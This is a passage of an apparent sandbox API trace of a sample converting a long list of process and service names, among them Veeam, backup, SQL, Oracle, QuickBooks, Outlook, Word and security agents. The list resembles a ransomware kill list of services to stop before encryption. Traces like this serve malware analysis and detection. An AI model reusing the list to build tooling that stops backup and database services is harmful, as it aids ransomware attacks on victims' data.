	[0060.403] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="pg*", AllocateDestinationString=1 | out: DestinationString="pg*") returned 0x0
	[0060.403] RtlFreeAnsiString (AnsiString="p") 
	[0060.403] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="nservice.exe" | out: DestinationString="nservice.exe") 
	[0060.403] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="nservice.exe", AllocateDestinationString=1 | out: DestinationString="nservice.exe") returned 0x0
	[0060.404] RtlFreeAnsiString (AnsiString="n") 
	[0060.404] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="cbvscserv*" | out: DestinationString="cbvscserv*") 
	[0060.404] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="cbvscserv*", AllocateDestinationString=1 | out: DestinationString="cbvscserv*") returned 0x0
	[0060.404] RtlFreeAnsiString (AnsiString="c") 
	[0060.404] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ntrtscan.exe" | out: DestinationString="ntrtscan.exe") 
	[0060.404] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ntrtscan.exe", AllocateDestinationString=1 | out: DestinationString="ntrtscan.exe") returned 0x0
	[0060.404] RtlFreeAnsiString (AnsiString="n") 
	[0060.404] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="cbservi*" | out: DestinationString="cbservi*") 
	[0060.404] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="cbservi*", AllocateDestinationString=1 | out: DestinationString="cbservi*") returned 0x0
	[0060.404] RtlFreeAnsiString (AnsiString="c") 
	[0060.404] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="hMailServer*" | out: DestinationString="hMailServer*") 
	[0060.404] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="hMailServer*", AllocateDestinationString=1 | out: DestinationString="hMailServer*") returned 0x0
	[0060.404] RtlFreeAnsiString (AnsiString="h") 
	[0060.404] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="IBM*" | out: DestinationString="IBM*") 
	[0060.404] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="IBM*", AllocateDestinationString=1 | out: DestinationString="IBM*") returned 0x0
	[0060.404] RtlFreeAnsiString (AnsiString="I") 
	[0060.404] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="bes10*" | out: DestinationString="bes10*") 
	[0060.404] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="bes10*", AllocateDestinationString=1 | out: DestinationString="bes10*") returned 0x0
	[0060.404] RtlFreeAnsiString (AnsiString="b") 
	[0060.404] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="black*" | out: DestinationString="black*") 
	[0060.404] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="black*", AllocateDestinationString=1 | out: DestinationString="black*") returned 0x0
	[0060.404] RtlFreeAnsiString (AnsiString="b") 
	[0060.404] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="apach*" | out: DestinationString="apach*") 
	[0060.404] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="apach*", AllocateDestinationString=1 | out: DestinationString="apach*") returned 0x0
	[0060.404] RtlFreeAnsiString (AnsiString="a") 
	[0060.404] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="bd2*" | out: DestinationString="bd2*") 
	[0060.404] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="bd2*", AllocateDestinationString=1 | out: DestinationString="bd2*") returned 0x0
	[0060.404] RtlFreeAnsiString (AnsiString="b") 
	[0060.404] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="db*" | out: DestinationString="db*") 
	[0060.404] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="db*", AllocateDestinationString=1 | out: DestinationString="db*") returned 0x0
	[0060.404] RtlFreeAnsiString (AnsiString="d") 
	[0060.404] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ba*" | out: DestinationString="ba*") 
	[0060.405] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ba*", AllocateDestinationString=1 | out: DestinationString="ba*") returned 0x0
	[0060.405] RtlFreeAnsiString (AnsiString="b") 
	[0060.405] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="be*" | out: DestinationString="be*") 
	[0060.405] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="be*", AllocateDestinationString=1 | out: DestinationString="be*") returned 0x0
	[0060.405] RtlFreeAnsiString (AnsiString="b") 
	[0060.405] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="QB*" | out: DestinationString="QB*") 
	[0060.405] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="QB*", AllocateDestinationString=1 | out: DestinationString="QB*") returned 0x0
	[0060.405] RtlFreeAnsiString (AnsiString="Q") 
	[0060.405] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="oracle*" | out: DestinationString="oracle*") 
	[0060.405] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="oracle*", AllocateDestinationString=1 | out: DestinationString="oracle*") returned 0x0
	[0060.405] RtlFreeAnsiString (AnsiString="o") 
	[0060.405] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="wbengine*" | out: DestinationString="wbengine*") 
	[0060.405] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="wbengine*", AllocateDestinationString=1 | out: DestinationString="wbengine*") returned 0x0
	[0060.405] RtlFreeAnsiString (AnsiString="w") 
	[0060.405] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="vee*" | out: DestinationString="vee*") 
	[0060.405] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="vee*", AllocateDestinationString=1 | out: DestinationString="vee*") returned 0x0
	[0060.405] RtlFreeAnsiString (AnsiString="v") 
	[0060.405] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="postg*" | out: DestinationString="postg*") 
	[0060.405] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="postg*", AllocateDestinationString=1 | out: DestinationString="postg*") returned 0x0
	[0060.405] RtlFreeAnsiString (AnsiString="p") 
	[0060.405] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="sage*" | out: DestinationString="sage*") 
	[0060.405] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="sage*", AllocateDestinationString=1 | out: DestinationString="sage*") returned 0x0
	[0060.405] RtlFreeAnsiString (AnsiString="s") 
	[0060.405] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="sap*" | out: DestinationString="sap*") 
	[0060.405] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="sap*", AllocateDestinationString=1 | out: DestinationString="sap*") returned 0x0
	[0060.405] RtlFreeAnsiString (AnsiString="s") 
	[0060.405] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="b1*" | out: DestinationString="b1*") 
	[0060.405] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="b1*", AllocateDestinationString=1 | out: DestinationString="b1*") returned 0x0
	[0060.405] RtlFreeAnsiString (AnsiString="b") 
	[0060.405] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="fdlaunch*" | out: DestinationString="fdlaunch*") 
	[0060.405] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="fdlaunch*", AllocateDestinationString=1 | out: DestinationString="fdlaunch*") returned 0x0
	[0060.405] RtlFreeAnsiString (AnsiString="f") 
	[0060.405] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="msmdsrv*" | out: DestinationString="msmdsrv*") 
	[0060.405] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="msmdsrv*", AllocateDestinationString=1 | out: DestinationString="msmdsrv*") returned 0x0
	[0060.406] RtlFreeAnsiString (AnsiString="m") 
	[0060.406] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="report*" | out: DestinationString="report*") 
	[0060.406] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="report*", AllocateDestinationString=1 | out: DestinationString="report*") returned 0x0
	[0060.406] RtlFreeAnsiString (AnsiString="r") 
	[0060.406] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="msdtssr*" | out: DestinationString="msdtssr*") 
	[0060.406] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="msdtssr*", AllocateDestinationString=1 | out: DestinationString="msdtssr*") returned 0x0
	[0060.406] RtlFreeAnsiString (AnsiString="m") 
	[0060.406] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="coldfus*" | out: DestinationString="coldfus*") 
	[0060.406] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="coldfus*", AllocateDestinationString=1 | out: DestinationString="coldfus*") returned 0x0
	[0060.406] RtlFreeAnsiString (AnsiString="c") 
	[0060.406] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="cfdot*" | out: DestinationString="cfdot*") 
	[0060.406] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="cfdot*", AllocateDestinationString=1 | out: DestinationString="cfdot*") returned 0x0
	[0060.406] RtlFreeAnsiString (AnsiString="c") 
	[0060.406] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="swag*" | out: DestinationString="swag*") 
	[0060.406] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="swag*", AllocateDestinationString=1 | out: DestinationString="swag*") returned 0x0
	[0060.406] RtlFreeAnsiString (AnsiString="s") 
	[0060.406] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="swstrtr*" | out: DestinationString="swstrtr*") 
	[0060.406] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="swstrtr*", AllocateDestinationString=1 | out: DestinationString="swstrtr*") returned 0x0
	[0060.406] RtlFreeAnsiString (AnsiString="s") 
	[0060.406] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="jetty.exe" | out: DestinationString="jetty.exe") 
	[0060.406] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="jetty.exe", AllocateDestinationString=1 | out: DestinationString="jetty.exe") returned 0x0
	[0060.406] RtlFreeAnsiString (AnsiString="j") 
	[0060.406] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="wrsa.exe" | out: DestinationString="wrsa.exe") 
	[0060.406] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="wrsa.exe", AllocateDestinationString=1 | out: DestinationString="wrsa.exe") returned 0x0
	[0060.406] RtlFreeAnsiString (AnsiString="w") 
	[0060.406] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="team*" | out: DestinationString="team*") 
	[0060.406] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="team*", AllocateDestinationString=1 | out: DestinationString="team*") returned 0x0
	[0060.406] RtlFreeAnsiString (AnsiString="t") 
	[0060.406] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="agent*" | out: DestinationString="agent*") 
	[0060.406] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="agent*", AllocateDestinationString=1 | out: DestinationString="agent*") returned 0x0
	[0060.406] RtlFreeAnsiString (AnsiString="a") 
	[0060.406] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="store.exe" | out: DestinationString="store.exe") 
	[0060.406] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="store.exe", AllocateDestinationString=1 | out: DestinationString="store.exe") returned 0x0
	[0060.406] RtlFreeAnsiString (AnsiString="s") 
	[0060.407] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="sql*" | out: DestinationString="sql*") 
	[0060.407] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="sql*", AllocateDestinationString=1 | out: DestinationString="sql*") returned 0x0
	[0060.407] RtlFreeAnsiString (AnsiString="s") 
	[0060.407] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="sqbcoreservice.exe" | out: DestinationString="sqbcoreservice.exe") 
	[0060.407] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="sqbcoreservice.exe", AllocateDestinationString=1 | out: DestinationString="sqbcoreservice.exe") returned 0x0
	[0060.407] RtlFreeAnsiString (AnsiString="s") 
	[0060.407] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="thunderbird.exe" | out: DestinationString="thunderbird.exe") 
	[0060.407] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="thunderbird.exe", AllocateDestinationString=1 | out: DestinationString="thunderbird.exe") returned 0x0
	[0060.407] RtlFreeAnsiString (AnsiString="t") 
	[0060.407] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ocssd.exe" | out: DestinationString="ocssd.exe") 
	[0060.407] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ocssd.exe", AllocateDestinationString=1 | out: DestinationString="ocssd.exe") returned 0x0
	[0060.407] RtlFreeAnsiString (AnsiString="o") 
	[0060.407] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="encsvc.exe" | out: DestinationString="encsvc.exe") 
	[0060.407] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="encsvc.exe", AllocateDestinationString=1 | out: DestinationString="encsvc.exe") returned 0x0
	[0060.407] RtlFreeAnsiString (AnsiString="e") 
	[0060.407] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="excel.exe" | out: DestinationString="excel.exe") 
	[0060.407] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="excel.exe", AllocateDestinationString=1 | out: DestinationString="excel.exe") returned 0x0
	[0060.407] RtlFreeAnsiString (AnsiString="e") 
	[0060.407] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="synctime.exe" | out: DestinationString="synctime.exe") 
	[0060.407] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="synctime.exe", AllocateDestinationString=1 | out: DestinationString="synctime.exe") returned 0x0
	[0060.407] RtlFreeAnsiString (AnsiString="s") 
	[0060.407] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="mspub.exe" | out: DestinationString="mspub.exe") 
	[0060.407] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="mspub.exe", AllocateDestinationString=1 | out: DestinationString="mspub.exe") returned 0x0
	[0060.407] RtlFreeAnsiString (AnsiString="m") 
	[0060.407] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ocautoupds.exe" | out: DestinationString="ocautoupds.exe") 
	[0060.407] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ocautoupds.exe", AllocateDestinationString=1 | out: DestinationString="ocautoupds.exe") returned 0x0
	[0060.407] RtlFreeAnsiString (AnsiString="o") 
	[0060.407] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="thebat.exe" | out: DestinationString="thebat.exe") 
	[0060.407] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="thebat.exe", AllocateDestinationString=1 | out: DestinationString="thebat.exe") returned 0x0
	[0060.407] RtlFreeAnsiString (AnsiString="t") 
	[0060.407] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="dbeng50.exe" | out: DestinationString="dbeng50.exe") 
	[0060.407] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="dbeng50.exe", AllocateDestinationString=1 | out: DestinationString="dbeng50.exe") returned 0x0
	[0060.407] RtlFreeAnsiString (AnsiString="d") 
	[0060.407] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*sql*" | out: DestinationString="*sql*") 
	[0060.408] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*sql*", AllocateDestinationString=1 | out: DestinationString="*sql*") returned 0x0
	[0060.408] RtlFreeAnsiString (AnsiString="*") 
	[0060.408] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="mydesktopservice.exe" | out: DestinationString="mydesktopservice.exe") 
	[0060.408] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="mydesktopservice.exe", AllocateDestinationString=1 | out: DestinationString="mydesktopservice.exe") returned 0x0
	[0060.408] RtlFreeAnsiString (AnsiString="m") 
	[0060.408] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="onenote.exe" | out: DestinationString="onenote.exe") 
	[0060.408] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="onenote.exe", AllocateDestinationString=1 | out: DestinationString="onenote.exe") returned 0x0
	[0060.408] RtlFreeAnsiString (AnsiString="o") 
	[0060.408] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="outlook.exe" | out: DestinationString="outlook.exe") 
	[0060.408] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="outlook.exe", AllocateDestinationString=1 | out: DestinationString="outlook.exe") returned 0x0
	[0060.408] RtlFreeAnsiString (AnsiString="o") 
	[0060.408] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="powerpnt.exe" | out: DestinationString="powerpnt.exe") 
	[0060.408] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="powerpnt.exe", AllocateDestinationString=1 | out: DestinationString="powerpnt.exe") returned 0x0
	[0060.408] RtlFreeAnsiString (AnsiString="p") 
	[0060.408] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="msaccess.exe" | out: DestinationString="msaccess.exe") 
	[0060.408] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="msaccess.exe", AllocateDestinationString=1 | out: DestinationString="msaccess.exe") returned 0x0
	[0060.408] RtlFreeAnsiString (AnsiString="m") 
	[0060.408] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="tbirdconfig.exe" | out: DestinationString="tbirdconfig.exe") 
	[0060.408] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="tbirdconfig.exe", AllocateDestinationString=1 | out: DestinationString="tbirdconfig.exe") returned 0x0
	[0060.408] RtlFreeAnsiString (AnsiString="t") 
	[0060.408] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="wordpad.exe" | out: DestinationString="wordpad.exe") 
	[0060.408] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="wordpad.exe", AllocateDestinationString=1 | out: DestinationString="wordpad.exe") returned 0x0
	[0060.408] RtlFreeAnsiString (AnsiString="w") 
	[0060.408] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ocomm.exe" | out: DestinationString="ocomm.exe") 
	[0060.408] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ocomm.exe", AllocateDestinationString=1 | out: DestinationString="ocomm.exe") returned 0x0
	[0060.408] RtlFreeAnsiString (AnsiString="o") 
	[0060.408] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="dbsnmp.exe" | out: DestinationString="dbsnmp.exe") 
	[0060.408] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="dbsnmp.exe", AllocateDestinationString=1 | out: DestinationString="dbsnmp.exe") returned 0x0
	[0060.409] RtlFreeAnsiString (AnsiString="d") 
	[0060.409] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="thebat64.exe" | out: DestinationString="thebat64.exe") 
	[0060.409] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="thebat64.exe", AllocateDestinationString=1 | out: DestinationString="thebat64.exe") returned 0x0
	[0060.409] RtlFreeAnsiString (AnsiString="t") 
	[0060.409] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="winword.exe" | out: DestinationString="winword.exe") 
	[0060.409] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="winword.exe", AllocateDestinationString=1 | out: DestinationString="winword.exe") returned 0x0
	[0060.409] RtlFreeAnsiString (AnsiString="w") 
	[0060.409] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="oracle.exe" | out: DestinationString="oracle.exe") 
	[0060.409] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="oracle.exe", AllocateDestinationString=1 | out: DestinationString="oracle.exe") returned 0x0
	[0060.409] RtlFreeAnsiString (AnsiString="o") 
	[0060.409] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="xfssvccon.exe" | out: DestinationString="xfssvccon.exe") 
	[0060.409] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="xfssvccon.exe", AllocateDestinationString=1 | out: DestinationString="xfssvccon.exe") returned 0x0
	[0060.409] RtlFreeAnsiString (AnsiString="x") 
	[0060.409] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="firefoxconfig.exe" | out: DestinationString="firefoxconfig.exe") 
	[0060.409] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="firefoxconfig.exe", AllocateDestinationString=1 | out: DestinationString="firefoxconfig.exe") returned 0x0
	[0060.409] RtlFreeAnsiString (AnsiString="f") 
	[0060.409] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="visio.exe" | out: DestinationString="visio.exe") 
	[0060.409] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="visio.exe", AllocateDestinationString=1 | out: DestinationString="visio.exe") returned 0x0
	[0060.410] RtlFreeAnsiString (AnsiString="v") 
	[0060.410] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="mydesktopqos.exe" | out: DestinationString="mydesktopqos.exe") 
	[0060.410] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="mydesktopqos.exe", AllocateDestinationString=1 | out: DestinationString="mydesktopqos.exe") returned 0x0
	[0060.410] RtlFreeAnsiString (AnsiString="m") 
	[0060.410] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="infopath.exe" | out: DestinationString="infopath.exe") 
	[0060.410] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="infopath.exe", AllocateDestinationString=1 | out: DestinationString="infopath.exe") returned 0x0
	[0060.410] RtlFreeAnsiString (AnsiString="i") 
	[0060.410] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="agntsvc.exe" | out: DestinationString="agntsvc.exe") 
	[0060.410] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="agntsvc.exe", AllocateDestinationString=1 | out: DestinationString="agntsvc.exe") returned 0x0
	[0060.410] RtlFreeAnsiString (AnsiString="a") 
	[0060.410] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="Lotus*" | out: DestinationString="Lotus*") 
	[0060.410] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="Lotus*", AllocateDestinationString=1 | out: DestinationString="Lotus*") returned 0x0
	[0060.410] RtlFreeAnsiString (AnsiString="L") 
	[0060.410] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="veeam*" | out: DestinationString="veeam*") 
	[0060.410] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="veeam*", AllocateDestinationString=1 | out: DestinationString="veeam*") returned 0x0
	[0060.410] RtlFreeAnsiString (AnsiString="v") 
	[0060.410] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="cbvscserv*" | out: DestinationString="cbvscserv*") 
	[0060.410] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="cbvscserv*", AllocateDestinationString=1 | out: DestinationString="cbvscserv*") returned 0x0
	[0060.410] RtlFreeAnsiString (AnsiString="c") 
	[0060.410] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="hMailServer" | out: DestinationString="hMailServer") 
	[0060.410] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="hMailServer", AllocateDestinationString=1 | out: DestinationString="hMailServer") returned 0x0
	[0060.410] RtlFreeAnsiString (AnsiString="h") 
	[0060.410] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="backup*" | out: DestinationString="backup*") 
	[0060.410] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="backup*", AllocateDestinationString=1 | out: DestinationString="backup*") returned 0x0
	[0060.410] RtlFreeAnsiString (AnsiString="b") 
	[0060.410] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*backup*" | out: DestinationString="*backup*") 
	[0060.410] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*backup*", AllocateDestinationString=1 | out: DestinationString="*backup*") returned 0x0
	[0060.410] RtlFreeAnsiString (AnsiString="*") 
	[0060.410] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="apach*" | out: DestinationString="apach*") 
	[0060.411] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="apach*", AllocateDestinationString=1 | out: DestinationString="apach*") returned 0x0
	[0060.411] RtlFreeAnsiString (AnsiString="a") 
	[0060.411] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="firebird*" | out: DestinationString="firebird*") 
	[0060.411] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="firebird*", AllocateDestinationString=1 | out: DestinationString="firebird*") returned 0x0
	[0060.411] RtlFreeAnsiString (AnsiString="f") 
	[0060.411] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="ibmiasrw" | out: DestinationString="ibmiasrw") 
	[0060.411] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="ibmiasrw", AllocateDestinationString=1 | out: DestinationString="ibmiasrw") returned 0x0
	[0060.411] RtlFreeAnsiString (AnsiString="i") 
	[0060.411] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="IBM Domino*" | out: DestinationString="IBM Domino*") 
	[0060.411] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="IBM Domino*", AllocateDestinationString=1 | out: DestinationString="IBM Domino*") returned 0x0
	[0060.411] RtlFreeAnsiString (AnsiString="I") 
	[0060.411] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="Simply Accounting Database Connection Manager" | out: DestinationString="Simply Accounting Database Connection Manager") 
	[0060.411] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="Simply Accounting Database Connection Manager", AllocateDestinationString=1 | out: DestinationString="Simply Accounting Database Connection Manager") returned 0x0
	[0060.411] RtlFreeAnsiString (AnsiString="S") 
	[0060.411] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="IASJet" | out: DestinationString="IASJet") 
	[0060.411] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="IASJet", AllocateDestinationString=1 | out: DestinationString="IASJet") returned 0x0
	[0060.411] RtlFreeAnsiString (AnsiString="I") 
	[0060.411] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="QB*" | out: DestinationString="QB*") 
	[0060.411] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="QB*", AllocateDestinationString=1 | out: DestinationString="QB*") returned 0x0
	[0060.411] RtlFreeAnsiString (AnsiString="Q") 
	[0060.411] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="*sql*" | out: DestinationString="*sql*") 
	[0060.411] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="*sql*", AllocateDestinationString=1 | out: DestinationString="*sql*") returned 0x0
	[0060.411] RtlFreeAnsiString (AnsiString="*") 
	[0060.411] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="sql*" | out: DestinationString="sql*") 
	[0060.411] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="sql*", AllocateDestinationString=1 | out: DestinationString="sql*") returned 0x0
	[0060.411] RtlFreeAnsiString (AnsiString="s") 
	[0060.411] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="QuickBooksDB*" | out: DestinationString="QuickBooksDB*") 
	[0060.411] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="QuickBooksDB*", AllocateDestinationString=1 | out: DestinationString="QuickBooksDB*") returned 0x0
	[0060.411] RtlFreeAnsiString (AnsiString="Q") 
	[0060.411] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="IISADMIN" | out: DestinationString="IISADMIN") 
	[0060.411] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="IISADMIN", AllocateDestinationString=1 | out: DestinationString="IISADMIN") returned 0x0
	[0060.411] RtlFreeAnsiString (AnsiString="I") 
	[0060.411] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="omsad" | out: DestinationString="omsad") 
	[0060.411] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="omsad", AllocateDestinationString=1 | out: DestinationString="omsad") returned 0x0
	[0060.412] RtlFreeAnsiString (AnsiString="o") 
	[0060.412] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="dc*32" | out: DestinationString="dc*32") 
	[0060.412] RtlAnsiStringToUnicodeString (in: DestinationString=0x10f0dc, SourceString="dc*32", AllocateDestinationString=1 | out: DestinationString="dc*32") returned 0x0
	[0060.412] RtlFreeAnsiString (AnsiString="d") 
	[0060.412] RtlInitAnsiString (in: DestinationString=0x10f0d4, SourceString="server Administrator" | out: DestinationString="server Administrator") 
